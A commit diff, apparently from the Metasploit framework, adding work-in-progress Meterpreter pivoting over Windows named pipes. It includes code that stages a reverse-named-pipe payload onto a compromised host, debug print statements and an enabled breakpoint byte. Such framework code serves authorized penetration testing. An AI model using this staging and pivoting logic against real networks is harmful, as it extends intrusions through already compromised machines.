Pushed on with more pivot code

bug/bundler_fix
OJ 2017-07-11 19:42:56 +10:00 committed by Brent Cook
parent abc80655b7
commit e3de01219a
6 changed files with 262 additions and 71 deletions

View File

@ -74,8 +74,8 @@ module Payload::Windows::ReverseNamedPipe
#{asm_reverse_named_pipe(opts)}
^
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
#Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#

View File

@ -12,6 +12,7 @@ require 'rex/post/meterpreter/object_aliases'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/packet_parser'
require 'rex/post/meterpreter/packet_dispatcher'
require 'rex/post/meterpreter/pivot'
require 'rex/post/meterpreter/pivot_container'
module Rex
@ -36,6 +37,7 @@ class Client
include Rex::Post::Meterpreter::PacketDispatcher
include Rex::Post::Meterpreter::ChannelContainer
include Rex::Post::Meterpreter::PivotContainer
#
# Extension name to class hash.
@ -123,6 +125,7 @@ class Client
self.retry_total = opts[:retry_total]
self.retry_wait = opts[:retry_wait]
self.passive_dispatcher = opts[:passive_dispatcher]
self.pivot_session = opts[:pivot_session]
self.response_timeout = opts[:timeout] || self.class.default_timeout
self.send_keepalives = true
@ -132,7 +135,7 @@ class Client
self.encode_unicode = false
self.aes_key = nil
self.session_guid = "\x00" * 16
self.session_guid = opts[:session_guid] || "\x00" * 16
# The SSL certificate is being passed down as a file path
if opts[:ssl_cert]
@ -144,33 +147,20 @@ class Client
end
end
if opts[:passive_dispatcher]
initialize_passive_dispatcher
initialize_passive_dispatcher if opts[:passive_dispatcher]
register_extension_alias('core', ClientCore.new(self))
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
initialize_inbound_handlers
initialize_channels
initialize_pivots
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
else
# Switch the socket to SSL mode and receive the hello if needed
if capabilities[:ssl] and not opts[:skip_ssl]
swap_sock_plain_to_ssl()
end
# Register the channel and pivot inbound packet handlers
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::Pivot)
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
monitor_socket
unless opts[:passive_dispatcher] || opts[:pivot_session]
monitor_socket
end
end
@ -481,6 +471,10 @@ class Client
#
attr_accessor :passive_dispatcher
#
# Reference to a session to pivot through
#
attr_accessor :pivot_session
#
# Flag indicating whether to hex-encode UTF-8 file names and other strings
#
attr_accessor :encode_unicode

View File

@ -116,9 +116,10 @@ TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
#
# Pivots
#
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 651
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 652
TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
#
@ -632,6 +633,8 @@ class Packet < GroupTlv
attr_accessor :created_at
attr_accessor :raw
attr_accessor :session_guid
attr_accessor :encrypt_flags
attr_accessor :length
##
#
@ -825,6 +828,14 @@ class Packet < GroupTlv
end
end
def parse_header!
xor_key = self.raw.unpack('A4')[0]
data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
STDERR.puts("extracting header values\n")
_, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
STDERR.puts("extracted header values\n")
end
#
# Override the function that reads from a raw byte stream so
# that the XORing of data is included in the process prior to
@ -832,11 +843,11 @@ class Packet < GroupTlv
# the TLV values.
#
def from_r(key=nil)
self.parse_header!
xor_key = self.raw.unpack('a4')[0]
data = xor_bytes(xor_key, self.raw)
_, self.session_guid, encrypt_flags, length, type = data.unpack('a4a16NNN')
raw = decrypt_packet(key, encrypt_flags, data[PACKET_HEADER_SIZE..-1])
super([length, type, raw].pack('NNA*'))
data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
raw = decrypt_packet(key, self.encrypt_flags, data)
super([self.length, self.type, raw].pack('NNA*'))
end
#

View File

@ -137,7 +137,7 @@ module PacketDispatcher
if req.body and req.body.length > 0
packet = Packet.new(0)
packet.add_raw(req.body)
packet.from_r(self.tlv_enc_key)
packet.parse_header!
dispatch_inbound_packet(packet)
end
cli.send_response(resp)
@ -157,13 +157,22 @@ module PacketDispatcher
#
# Sends a packet without waiting for a response.
#
def send_packet(packet, completion_routine = nil, completion_param = nil)
if (completion_routine)
add_response_waiter(packet, completion_routine, completion_param)
def send_packet(packet, opts={})
if self.pivot_session
opts[:session_guid] = self.session_guid
opts[:tlv_enc_key] = self.tlv_enc_key
return self.pivot_session.send_packet(packet, opts)
end
if opts[:completion_routine]
add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
end
session_guid = opts[:session_guid] || self.session_guid
tlv_enc_key = opts[:tlv_enc_key] || self.tlv_enc_key
bytes = 0
raw = packet.to_r(self.session_guid, self.tlv_enc_key)
raw = packet.to_r(session_guid, tlv_enc_key)
err = nil
# Short-circuit send when using a passive dispatcher
@ -244,7 +253,9 @@ module PacketDispatcher
end
# Wait for the supplied time interval
STDERR.puts("Waiting for the response: #{waiter.inspect}\n")
response = waiter.wait(timeout)
STDERR.puts("Response found\n")
# Remove the waiter from the list of waiters in case it wasn't
# removed. This happens if the waiter timed out above.
@ -427,11 +438,11 @@ module PacketDispatcher
def receive_packet
packet = parser.recv(self.sock)
if packet
packet.from_r(self.tlv_enc_key)
STDERR.puts("here!\n")
packet.parse_header!
STDERR.puts("Packet: #{packet.inspect}\n")
if self.session_guid == "\x00" * 16
self.session_guid = packet.session_guid.dup
elsif self.session_guid != packet.session_guid
STDERR.puts("Incoming packet for other session: #{packet.inspect}\n")
end
end
packet
@ -462,6 +473,10 @@ module PacketDispatcher
# Adds a waiter association with the supplied request packet.
#
def add_response_waiter(request, completion_routine = nil, completion_param = nil)
if self.pivot_session
return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
end
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
self.waiters << waiter
@ -474,6 +489,10 @@ module PacketDispatcher
# if anyone.
#
def notify_response_waiter(response)
if self.pivot_session
return self.pivot_session.notify_response_waiter(response)
end
handled = false
self.waiters.each() { |waiter|
if (waiter.waiting_for?(response))
@ -490,7 +509,11 @@ module PacketDispatcher
# Removes a waiter from the list of waiters.
#
def remove_response_waiter(waiter)
self.waiters.delete(waiter)
if self.pivot_session
self.pivot_session.remove_response_waiter(waiter)
else
self.waiters.delete(waiter)
end
end
##
@ -515,6 +538,12 @@ module PacketDispatcher
def dispatch_inbound_packet(packet)
handled = false
pivot = self.find_pivot(packet.session_guid)
pivot.dispatch_inbound_packet(packet) if pivot
packet.from_r(self.tlv_enc_key)
# Update our last reply time
self.last_checkin = Time.now

View File

@ -0,0 +1,136 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/inbound_packet_handler'
require 'securerandom'
module Rex
module Post
module Meterpreter
class PivotListener
attr_accessor :id
attr_accessor :stager
def initialize(stager)
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
self.stager = stager
end
end
class Pivot
#
# The associated meterpreter client instance
#
attr_accessor :client
attr_accessor :pivot_session_guid
attr_accessor :pivoted_session
# Class modifications to support global pivot message
# dispatching without having to register a per-instance handler
class << self
include Rex::Post::Meterpreter::InboundPacketHandler
# Class request handler for all channels that dispatches requests
# to the appropriate class instance's DIO handler
def request_handler(client, packet)
if packet.method == 'core_pivot_session_new'
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
Pivot.new(client, session_guid, listener_id)
end
true
end
end
def Pivot.create_listener(client, opts={})
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
# TODO: use the framework to generate the whole lot, including a session type
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
#c.include(::Msf::Payload::TransportConfig)
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
stage_opts = {
force_write_handle: true,
datastore: {
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
# Create the migrate stager
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
pivot_listener = PivotListener.new(stager)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
client.send_request(request)
client.add_pivot_listener(pivot_listener)
end
def initialize(client, session_guid, listener_id)
self.client = client
self.pivot_session_guid = session_guid
opts = {
pivot_session: client,
session_guid: session_guid
}
listener = client.find_pivot_listener(listener_id)
STDERR.puts("about to create the pivoted session instance 3\n")
begin
STDERR.puts("Stage: #{listener.stager.inspect}\n")
STDERR.puts("Stage Session: #{listener.stager.session.inspect}\n")
self.pivoted_session = listener.stager.session.new(nil, opts)
rescue => e
STDERR.puts(e.inspect)
end
STDERR.puts("pivoted session instance created: #{self.pivoted_session.inspect}\n")
self.client.add_pivot(self)
STDERR.puts("Setting the framework instance\n")
self.pivoted_session.framework = self.client.framework
STDERR.puts("Invoking the on_session method\n")
self.pivoted_session.on_session(self.pivoted_session)
STDERR.puts("Registering the session with the framework\n")
self.client.framework.sessions.register(self.pivoted_session)
STDERR.puts("done!\n")
end
protected
#
# Cleans up any lingering resources
#
def cleanup
end
end
end; end; end

View File

@ -1,47 +1,68 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/inbound_packet_handler'
module Rex
module Post
module Meterpreter
class PivotContainer
###
#
# This interface is meant to be included by things that are meant to contain
# zero or more pivot instances in the form of a hash.
#
###
module PivotContainer
# Class modifications to support global pivot message
# dispatching without having to register a per-instance handler
class << self
include Rex::Post::Meterpreter::InboundPacketHandler
# Class request handler for all channels that dispatches requests
# to the appropriate class instance's DIO handler
def request_handler(client, packet)
if packet.method == 'core_pivot_new'
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
end
true
end
end
def initialize(client)
self.client = client
#
# Initializes the pivot association hash
#
def initialize_pivots
self.pivots = {}
self.pivot_listeners = {}
end
#
# The associated meterpreter client instance
# Adds a pivot to the container that is indexed by the pivoted
# session guid.
#
attr_accessor :client
def add_pivot(pivot)
self.pivots[pivot.pivot_session_guid] = pivot
end
def add_pivot_listener(listener)
self.pivot_listeners[listener.id] = listener
end
#
# Looks up a pivot instance based on its pivoted session guid.
#
def find_pivot(pivot_session_guid)
return self.pivots[pivot_session_guid]
end
def find_pivot_listener(listener_id)
return self.pivot_listeners[listener_id]
end
#
# Removes a pivot based on its pivoted session guid.
#
def remove_pivot(pivot_session_guid)
return self.pivots.delete(pivot_session_guid)
end
#
# The hash of pivots.
#
attr_reader :pivots
attr_reader :pivot_listeners
protected
#
# Cleans up any lingering resources
#
def cleanup
end
attr_writer :pivots # :nodoc:
attr_writer :pivot_listeners # :nodoc:
end
end; end; end